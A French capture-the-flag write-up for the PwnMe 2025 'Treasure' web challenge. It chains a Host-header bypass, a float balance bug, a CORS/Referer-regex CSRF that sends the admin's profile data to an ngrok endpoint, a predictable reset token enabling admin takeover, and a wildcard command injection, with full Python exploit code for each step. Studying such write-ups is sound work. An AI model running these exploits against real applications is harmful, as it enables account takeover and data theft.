Aller au contenu
  1. Writeups/

PwnMe CTF 2025 (finale): Treasure

2795 mots·14 mins·
PWNMECTF WEB HARD
Fayred
Auteur
Fayred
Passionné par l’informatique en général et plus particulièrement par la sécurité informatique. Amateur de CTFs et débutant en Bug Bounty, je cherche avant tout à apprendre, m’amuser et partager ce que j’ai appris.
Sommaire

Énoncé
#

Try registering on the “Treasure” website, which is still under construction and try to obtain an item that is normally impossible to obtain.

Author: Fayred

Treasure.zip

Aperçu
#

Pour ce challenge web, voici les fichiers sources fournis:

.
├── cert.pem
├── docker-compose.yml
├── Dockerfile
├── entrypoint.sh
├── key.pem
├── main.py
├── requirements.txt
└── src
    ├── admin_data_uploaded
    │   └── bf8fdd545086e4e7.json
    ├── app.py
    ├── backup.sh
    ├── blueprints
    │   ├── api.py
    │   └── render.py
    ├── bot.py
    ├── create_admin.py
    ├── models
    │   ├── inventory.py
    │   ├── reset_token.py
    │   └── user.py
    ├── static
    │   └── img
    │       └── items
    │           ├── Nothing.webp
    │           ├── The Banner of Eternal Whispers.jpeg
    │           ├── The Banner of Lost Souls.jpeg
    │           ├── The Celestial Dominion's Banner.jpeg
    │           ├── The Eternal Flame's Standard.jpeg
    │           └── Village Banner.jpeg
    ├── templates
    │   ├── admin.html
    │   ├── base.html
    │   ├── index.html
    │   ├── inventory.html
    │   ├── login.html
    │   ├── navbar.html
    │   └── register.html
    └── utils.py

9 directories, 31 files

En bref, ce challenge est un site fait en Python avec Flask. Le site contient une page de login et une page pour s’enregistrer. Cependant la page pour s’enregistrer semble être accessible seulement depuis localhost. Ensuite une fois connecté, on a une partie pour drop des items et une partie inventaire avec des informations sur le compte. Et pour l’admin, il a une page permettant d’upload des fichiers sur le serveur et de réaliser une backup.

Le flag semble être donné lorsque qu’un utilisateur avec le role user, obtient un item avec la rareté impossible, comme indiqué dans l’énnoncé ou dans le code du fichier api.py.

api.py (L85-L86):

if item['rarity'] == 'impossible' and session.get('role') != 'admin':
    name = os.environ['FLAG']

Résolution
#

Pour résoudre le challenge, il va falloir exploiter une chaine de bugs pour obtenir le flag. Pour cela, il faudra déjà trouver une façon pour créer un compte, puis trouver une manière pour générer de l’argent pour acheter un coffre. Ensuite il sera necessaire d’ATO le compte admin, pour modifier le taux de drop d’un item censé être impossible à obtenir. Une fois tout ça fait, il suffira de drop un item sur le premier compte créé et récupérer le flag.

Analyse du code
#

Avant de commencer à chercher les vulnérabilités, une rapide analyse du code est nécessaire.

app.py:

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_urlsafe(32)
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['ADMIN_PASSWORD'] = secrets.token_hex(32)
app.config['ADMIN_UPLOAD_FOLDER'] = 'src/admin_data_uploaded'
db = SQLAlchemy(app)

from .blueprints.render import render_bp
from .blueprints.api import api_bp

app.register_blueprint(render_bp, url_prefix='/')
app.register_blueprint(api_bp, url_prefix='/api')

from src.models.user import User
from src.models.inventory import Inventory
from src.models.reset_token import ResetToken
from src.create_admin import create_admin

with app.app_context():
    db.create_all()
    create_admin(username='admin', password=app.config['ADMIN_PASSWORD'])

Dans le fichier app.py, on peut voir deux types d’endpoints: les endpoints d’api et les autres. Les endpoints avec le préfix / se situent dans render.py et les endpoints avec le préfix /api se situent dans api.py.

Voici les routes disponible:

  • /
  • /login
  • /register
  • /logout
  • /inventory
  • /admin
  • /api/drop
  • /api/inventory
  • /api/profile
  • /api/backup
  • /api/upload
  • /api/report
  • /api/reset_token
  • /api/change_password

Une fois connecté elles sont toutes accessibles sauf les routes: /register, /admin, /api/backup et /api/reset_token. Soit les endpoints ne sont pas accessibles pour les utilisateurs qui ne sont pas admin, soit elles ne sont pas accessible pour les clients qui ne viennent pas de localhost. Cependant un bypass est possible pour les routes qui requière le fait de venir de localhost.

Création d’un compte sans être de localhost
#

Pour s’enregistrer, il va falloir bypass la fonction localhost_required() situé dans le fichier utils.py.

utils.py (L29-L35):

def localhost_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if request.headers.get('Host') not in ['127.0.0.1:5000', 'localhost:5000']:
            return f'Forbidden', 403
        return f(*args, **kwargs)
    return decorated_function

On voit ici que la fonction, vérifie seulement le header Host. Il vérifie que Host soit égal à 127.0.0.1:5000 ou localhost:5000.

PoC:

import requests
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

username = 'ctfplayer'
password = 'ctfplayer'

# Step 1: Sign up without being from localhost
def register(username, password):
    requests.post(HOST + '/register', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        data={'username': username, 'password': password, 'password_confirmation': password}, 
        verify=False
    )
    
def login(username, password):
    login_request = requests.post(HOST + '/login',
        data={'username': username, 'password': password},
        allow_redirects=False,
        verify=False
    )
    return login_request.cookies['session']

if __name__ == '__main__':
    print(f"[+] Sign up with {username}:{password}")
    register(username, password)

    print(f"[+] Login with {username}:{password}")
    session = login(username, password)

Gagner de l’argents via Business Logic Error
#

Pour drop un item, il faut acheter un coffre et pour acheter un coffre, il faut de l’argent. Sauf qu’un nouvel utilisateur n’a que 20$ sur son compte. Il faut donc trouver un moyen de générer de l’argent.

Pour cela, il faut exploiter un bug situé dans api.py sur la route /api/drop.

api.py (L45-L100):

@api_bp.route('/drop', methods=['GET', 'POST'])
@login_required
def drop():
    with open(os.environ['DROP_FILENAME'], 'r') as f:
        items = json.load(f).get('items')

    if request.method == 'GET':
        return jsonify({"chest_cost": CHEST_COST, "items": items})

    elif request.method == 'POST':
        user_id = session.get('user_id')
        balance = db.session.query(User).filter_by(id=user_id).first().balance

        data = request.get_json()
        nb = data.get('nb')

        if not nb:
            return jsonify({"error": "Missing number of chests."}), 400

        if int(nb) < 0:
            return jsonify({"error": "Cannot take less than 0."}), 400
        
        if int(nb) > 3:
            return jsonify({"error": "Cannot take more than 3."}), 400
        
        if balance < int(nb) * CHEST_COST:
            return jsonify({"error": "Not enough money."}), 400

        balance -= nb * CHEST_COST

        db.session.query(User).filter_by(id=user_id).update({'balance': balance})
        db.session.commit()

        items_dropped = drop_items(int(nb), items)

        for item in items_dropped:
            inventory_item = db.session.query(Inventory).filter_by(user_id=user_id, item_id=item['id']).first()
            if inventory_item:
                inventory_item.quantity += 1
            else:
                if item['rarity'] == 'impossible' and session.get('role') != 'admin':
                    name = os.environ['FLAG']
                else:
                    name = item['name']

                new_inventory_item = Inventory(
                    user_id=user_id,
                    item_id=item['id'],
                    name=name,
                    rarity=item['rarity'],
                    image=item['image']
                )
                db.session.add(new_inventory_item)
        db.session.commit()
        
        return jsonify({"items": items_dropped})

On voit ici que nb doit-être compris entre 0 et 3, sachant que nb est converti en entier un peu partout. Cependant, il n’est pas converti en entier à un endroit, celui pour ajuster la valeur du solde (balance). Et nous voyons aussi que balance est calculé en fonction de nb, cela est donc problématique car il est possible de manipuler nb pour gagner de l’argents. En effet si un utilisateur envoi -0.999, côté serveur on obtiendra balance -= -0.9999 * 100, ce qui ajoutera approximativement 100$ au compte. Comme le check sur nb est fait en faisant une troncature, -0.999 vaudra 0 lors de la vérification.

PoC:

import requests
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

# Step 2: Business Logic Error to earn money
def earn_money(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': -0.999},
        verify=False
    )

if __name__ == '__main__':
    session = 'xxx' # your session

    print("[+] Business Logic Error to Earn money")
    earn_money(session)

CSRF via CORS Misconfiguration et bypass du check sur le Referer
#

Pour modifier le taux de drop d’un item impossible à obtenir, il faut avoir accès au compte admin. Sachant qu’un fichier bot.py existe, et que celui-ci est utilisé pour visiter les urls envoyé sur /api/report, on se doute qu’il faille exploiter une vulnérabilité côté client. Dans api.py, on a la route /api/profile, qui nous permet d’accéder aux informations personnelles du compte.

api.py (L34-41) et (L116-L139):

def cors_config(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '')

    referer = urllib.parse.unquote(request.headers.get('Referer', ''))
    if re.search('^https?:\\/\\/localhost:5000\\/.*', referer, re.MULTILINE):
        response.headers['Access-Control-Allow-Credentials'] = 'true'

    return response

...

@api_bp.route('/profile', methods=['OPTIONS'])
def options_profile():
    response = make_response('', 204)
    return cors_config(response)

@api_bp.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'GET':
        user_id = session.get('user_id')
        user = db.session.query(User).filter_by(id=user_id).first()

        response = make_response(jsonify({
            'uuid': user.uuid, 
            'role': user.role, 
            'username': user.username, 
            'balance': user.balance,
        }))

        return cors_config(response)
    
    elif request.method == 'POST':
        response = make_response(jsonify({"success": "Profile updated."}))
        return cors_config(response)

On voit dans ce bout de code, que cette route est accessible via CORS depuis n’importe quelle origine, car celle-ci est reflété dans le header Access-Control-Allow-Origin. Cependant on peut voir que le header Access-Control-Allow-Credentials retourne true seulement si le header Referer match la regex: ^https?:\/\/localhost:5000\/.*. Avant d’aller plus loin, il faut vérifier que la route soit accessible via un cookie de session avec le flag samesite=None.

app.py (L7-L8):

app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True

On voit bien ici que le cookie de session a le flag samesite=None. Maintenant qu’on sait ça, il faut trouver comment bypass le check pour CSRF sur cet endpoint et leak les informations de l’admin. Tout d’abord, il faut savoir qu’il n’est pas possible de réécrire le header Referer directement en js. Cependant, on peut envoyer un Referer qui contient le path sur lequel nous nous trouvons, sur un autre domaine. Pour ça on peut utiliser {Referrer-Policy: unsafe-url} avec fetch(), cela fonctionne sur les navigateurs basé sur Chromium, mais pas sur Firefox ou Safari par exemple.

Une fois qu’on a connaissance de ça, il suffira d’effectuer notre CSRF depuis un path qui match la regex. Par contre pour match la regex, il semble falloir avoir un Referer qui commence par http(s)://localhost:5000/. Sauf que le mode multiline est activé et que le Referer est url décode avant la vérification. Il suffit alors d’ajouter un saut à la ligne dans le path.

PoC:

import requests
import ngrok
from flask import Flask, request
import threading
import time
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

data = {}
csrf_end_event = threading.Event()

# Step 3: CSRF via CORS Misconfiguration with referer checker bypass 
def start_csrf_attack(session, url):
    def send_csrf():
        time.sleep(2)
        requests.post(HOST + '/api/report', 
            cookies={'session': session}, 
            json={'url': url + '/csrf'},
            verify=False
        )

    app = Flask(__name__)

    @app.route('/csrf')
    def csrf():
        return f"""
        <script>
            async function csrf(){{
                const response = await fetch("https://localhost:5000/api/profile", {{referrerPolicy: "unsafe-url", "credentials": "include"}});
                const data = await response.json();
                await fetch("{url}/exfiltration", {{
                    method: "POST",
                    headers: {{"Content-Type": "application/json"}},
                    body: JSON.stringify({{"data": data}})
                }});
            }}
            history.pushState(null, '', '%0Ahttp://localhost:5000/');
            csrf();
        </script>
        """
    
    @app.route('/exfiltration', methods=['POST'])
    def exfiltration():
        global data
        data = request.json.get('data')
        csrf_end_event.set()

        return 'Thanks!'

    threading.Thread(target=send_csrf, daemon=True).start()
    app.run(port=1337, debug=False)

if __name__ == '__main__':
    listener = ngrok.forward(1337, authtoken_from_env=True)
    url = listener.url()
    print(f"Ngrok: {url}\n")

    session = 'xxx' # your session

    print("[+] Start CSRF attack")
    threading.Thread(target=start_csrf_attack, args=(session, url), daemon=True).start()
    if csrf_end_event.wait(60):
        print(f"Data exfiltrate: {data}")

Génération d’un reset token via l’UUID leak puis ATO de l’admin
#

Grâce à la CSRF, on peut leak les informations du compte admin dont uuid. Cet uuid est utilisé dans utils.py pour générer un token.

utils.py (L37-L39):

def generate_reset_token(username, uuid):
    reset_token = hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
    return reset_token

Cette fonction generate_reset_token(), est utilisé dans api.py sur la route /api/reset_token. On voit que le reset token correspond au SHA1 de la concaténation entre l’username et l’uuid. On peut donc prédire le reset token avec l’uuid leak et changer le mot de passe de l’admin sur la route /api/change_password.

api.py (L212-235):

@api_bp.route('/change_password', methods=['POST'])
@nologin_required
def change_password():
    password = request.json.get('password')
    password_confirmation = request.json.get('password_confirmation')
    token = request.json.get('token')

    if password != password_confirmation:
        return jsonify({"error": "Passwords do not match."}), 400

    reset_token = db.session.query(ResetToken).filter_by(token=token).first()

    if not reset_token:
        return jsonify({"error": "Invalid reset token."}), 400 
    
    if reset_token.is_expired():
        return jsonify({"error": "Token has expired."}), 400

    db.session.query(User).filter_by(id=reset_token.user_id).update({
        'password': generate_password_hash(password)
    })
    db.session.commit()

    return jsonify({"success": "Password changed."})

On voit qu’il suffit d’envoyer le nouveau mot de passe et le reset token, prédit avec le nom d’utilisateur admin et l’uuid leak.

PoC:

import requests
import hashlib
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

username_ato = 'admin'
password = 'ctfplayer'

# Step 4: Generate reset token via UUID leak by CSRF to ATO admin account
def ato(uuid, username, password):
    requests.post(HOST + '/api/reset_token', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        json={"username": username},
        verify=False
    )
    requests.post(HOST + '/api/change_password',
        json={
            "password": password,
            "password_confirmation": password,
            "token": hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
        },
        verify=False
    )

if __name__ == '__main__':
    print("[+] Account Take Over")

    uuid = 'xxx' # uuid leak
    ato(uuid, username_ato, password)

Command Injection pour leak le nom du fichier .json
#

Maintenant qu’on est admin, on peut accéder à /admin. Avec cette page, on peut upload des fichiers sur le serveur et effectuer une backup. Pour upload des fichiers sur le serveur, une requête est réalisé sur /api/upload et pour faire une backup, une requête est faite sur /api/backup.

api.py (L141-150):

@api_bp.route('/backup', methods=['POST'])
@admin_required
def backup():
    t = request.json.get('time')
    if re.search(r'[A-Za-z!"#%&\'()*+,-./:;<=>@[\]^_`{|}~ \\]', t):
        return jsonify({"error": "Invalid time."}), 400

    output = os.popen(f'cd src/admin_data_uploaded && timeout {t}s ../backup.sh 2>&1').read()
    
    return jsonify({"output": output})

Pour la partie “backup”, on peut constater que time est injecté dans os.popen(), pour stopper la commande si celle-ci dépasse un certain temps. Sauf que cela provoque une Command Injection, cependant les seuls caractères accepté sont les: ?, $ et les chiffres. Il ne semble pas possible de RCE dans ces conditions. Cependant, il est possible de leak le nom du fichier .json avec les taux de drop. Pour ça, on peut utiliser les ? qui est un joker (wildcard) qui représente exactement un caractère. Ensuite il faudra utiliser $ pour séparer les ? et le reste.

PoC:

import requests
import re
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

# Step 5: OS Command Injection which lead to json filename leak
def os_command_injection(admin_session):
    backup_req = requests.post(HOST + '/api/backup', 
        cookies={'session': admin_session}, 
        json={"time": "?????????????????????$"},
        verify=False
    )
    filename_leak = re.search(r'[\w-]+\.json', backup_req.json()['output']).group(0)
    return filename_leak

if __name__ == '__main__':
    session_ato = 'xxx' # admin session

    print("[+] Leak .json filename")
    filename_leak = os_command_injection(session_ato)

Upload d’un nouveau fichier .json pour gagner l’item impossible
#

Maintenant que le fichier .json a été leak, il suffit d’upload un fichier portant le même nom, dans lequel on y met un taux de drop à 100% pour un item avec une rareté impossible.

PoC:

import requests
import io
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

# Step 6: Upload and replace the json file with item rate drop for "impossible" rarity to 100%
def upload_file(admin_session, filename):
    data = """
        {
            "items": [
                {"id": 1337, "rarity": "impossible", "name": "The Celestial Dominion's Banner", "drop_rate": 100, "image": "The Celestial Dominion's Banner.jpeg"}
            ]
        }
        """

    file = io.BytesIO(data.encode('utf-8'))

    requests.post(HOST + '/api/upload', 
        cookies={'session': admin_session},
        files={'file': (filename, file, 'application/json')},
        verify=False
    )

if __name__ == '__main__':
    filename_leak = 'xxx' # .json filename leak
    session_ato = 'xxx' # admin session

    print(f"[+] Replace '{filename_leak}' to get 100% of chance")
    upload_file(session_ato, filename_leak)

Ensuite une fois le fichier upload, il suffira de retourner sur le compte utilisateur classique créé avant. Puis drop un item avec l’argent gagné, pour finalement obtenir le flag.

Exploit
#

PoC final:

# Treasure PoC

# pip install requests flask ngrok
# export your NGROK_AUTHTOKEN before running the script

import requests
import ngrok
from flask import Flask, request
import threading
import time
import hashlib
import re
import io
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

username_ato = 'admin'
username = 'ctfplayer'
password = 'ctfplayer'

data = {}
csrf_end_event = threading.Event()

# Step 1: Sign up without being from localhost
def register(username, password):
    requests.post(HOST + '/register', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        data={'username': username, 'password': password, 'password_confirmation': password}, 
        verify=False
    )

def login(username, password):
    login_request = requests.post(HOST + '/login',
        data={'username': username, 'password': password},
        allow_redirects=False,
        verify=False
    )
    return login_request.cookies['session']

# Step 2: Business Logic Error to earn money
def earn_money(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': -0.999},
        verify=False
    )

# Step 3: CSRF via CORS Misconfiguration with referer checker bypass 
def start_csrf_attack(session, url):
    def send_csrf():
        time.sleep(2)
        requests.post(HOST + '/api/report', 
            cookies={'session': session}, 
            json={'url': url + '/csrf'},
            verify=False
        )

    app = Flask(__name__)

    @app.route('/csrf')
    def csrf():
        return f"""
        <script>
            async function csrf(){{
                const response = await fetch("https://localhost:5000/api/profile", {{referrerPolicy: "unsafe-url", "credentials": "include"}});
                const data = await response.json();
                await fetch("{url}/exfiltration", {{
                    method: "POST",
                    headers: {{"Content-Type": "application/json"}},
                    body: JSON.stringify({{"data": data}})
                }});
            }}
            history.pushState(null, '', '%0Ahttp://localhost:5000/');
            csrf();
        </script>
        """
    
    @app.route('/exfiltration', methods=['POST'])
    def exfiltration():
        global data
        data = request.json.get('data')
        csrf_end_event.set()

        return 'Thanks!'

    threading.Thread(target=send_csrf, daemon=True).start()
    app.run(port=1337, debug=False)

# Step 4: Generate reset token via UUID leak by CSRF to ATO admin account
def ato(uuid, username, password):
    requests.post(HOST + '/api/reset_token', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        json={"username": username},
        verify=False
    )
    requests.post(HOST + '/api/change_password',
        json={
            "password": password,
            "password_confirmation": password,
            "token": hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
        },
        verify=False
    )

# Step 5: OS Command Injection which lead to json filename leak
def os_command_injection(admin_session):
    backup_req = requests.post(HOST + '/api/backup', 
        cookies={'session': admin_session}, 
        json={"time": "?????????????????????$"},
        verify=False
    )
    filename_leak = re.search(r'[\w-]+\.json', backup_req.json()['output']).group(0)
    return filename_leak

# Step 6: Upload and replace the json file with item rate drop for "impossible" rarity to 100%
def upload_file(admin_session, filename):
    data = """
        {
            "items": [
                {"id": 1337, "rarity": "impossible", "name": "The Celestial Dominion's Banner", "drop_rate": 100, "image": "The Celestial Dominion's Banner.jpeg"}
            ]
        }
        """

    file = io.BytesIO(data.encode('utf-8'))

    requests.post(HOST + '/api/upload', 
        cookies={'session': admin_session},
        files={'file': (filename, file, 'application/json')},
        verify=False
    )

# Step 7: Get the flag
def get_flag(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': 1},
        verify=False
    )
    inventory_req = requests.get(HOST + '/api/inventory', 
        cookies={'session': session},
        verify=False
    )

    flag = [_ for _ in inventory_req.json() if _['rarity']== 'impossible'][0]['name']
    return flag

if __name__ == '__main__':
    listener = ngrok.forward(1337, authtoken_from_env=True)
    url = listener.url()
    print(f"Ngrok: {url}\n")

    print(f"[+] Sign up with {username}:{password}")
    register(username, password)

    print(f"[+] Login with {username}:{password}")
    session = login(username, password)

    print("[+] Business Logic Error to Earn money")
    earn_money(session)

    print("[+] Start CSRF attack")
    threading.Thread(target=start_csrf_attack, args=(session, url), daemon=True).start()
    if csrf_end_event.wait(60):
        print(f"Data exfiltrate: {data}")

        print("[+] Account Take Over")
        ato(data['uuid'], username_ato, password)

        print(f"[+] Login with {username_ato}:{password}")
        session_ato = login(username_ato, password)

        print("[+] Leak .json filename")
        filename_leak = os_command_injection(session_ato)

        print(f"[+] Replace '{filename_leak}' to get 100% of chance")
        upload_file(session_ato, filename_leak)

        print(f"[+] Get the flag from '{username}'")
        flag = get_flag(session)
        print(f"\nFlag: {flag}")

Flag: PWNME{56837e80d608e85bb886f2b4b66a47c9}

Références
#

Articles connexes

PwnMe CTF 2025: sayMyName
1889 mots·9 mins
PWNMECTF WEB MEDIUM
Patriot CTF 2024: Secret Door
843 mots·4 mins
PATRIOT CTF WEB MEDIUM
Patriot CTF 2024: DogDay
746 mots·4 mins
PATRIOT CTF WEB CRYPTO MEDIUM
GlacierCTF 2024: SkiData
1104 mots·6 mins
GLACIERCTF WEB MEDIUM
HeroCTF 2024: Jinjatic
639 mots·3 mins
HEROCTF WEB EZ
YesWeHack: Dojo 36
843 mots·4 mins
YESWEHACK WEB